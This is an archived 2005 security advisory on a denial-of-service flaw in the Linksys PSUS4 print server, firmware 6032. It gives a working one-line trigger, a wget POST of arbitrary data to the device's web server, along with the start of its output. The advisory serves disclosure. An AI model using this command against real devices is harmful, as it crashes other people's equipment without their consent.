[NEWS] Linksys PSUS4 DoS

From: SecuriTeam (support_at_securiteam.com)
Date: 02/06/05

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Date: 6 Feb 2005 18:30:05 +0200

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      Linksys PSUS4 DoS
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.linksys.com/products/product.asp?grid=34&scid=32&prid=580>
    Linksys PSUS4 is "one of the smallest embedded Linksys wired print
    servers".

    A vulnerability in Linksys PSUS4 product allows a remote attacker to cause
    the embedded device to crash by sending it a malformed HTTP packet.

    DETAILS

    Vulnerable Systems:
     * Linksys PSUS4 firmware version 6032

    Rstack team has found a denial of service on the Linksys PSUS4 that can be
    triggered by using the following command line:
    $ wget --post-data="Br1Ce2N1c3" http://192.168.1.2/
    --23:10:05-- http://192.168.1.2/
               => `index.html'
    Connecting to 192.168.1.2:80... connected.
    HTTP request sent, awaiting response...

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:oudot@rstack.org> laurent
    oudot.

    ========================================

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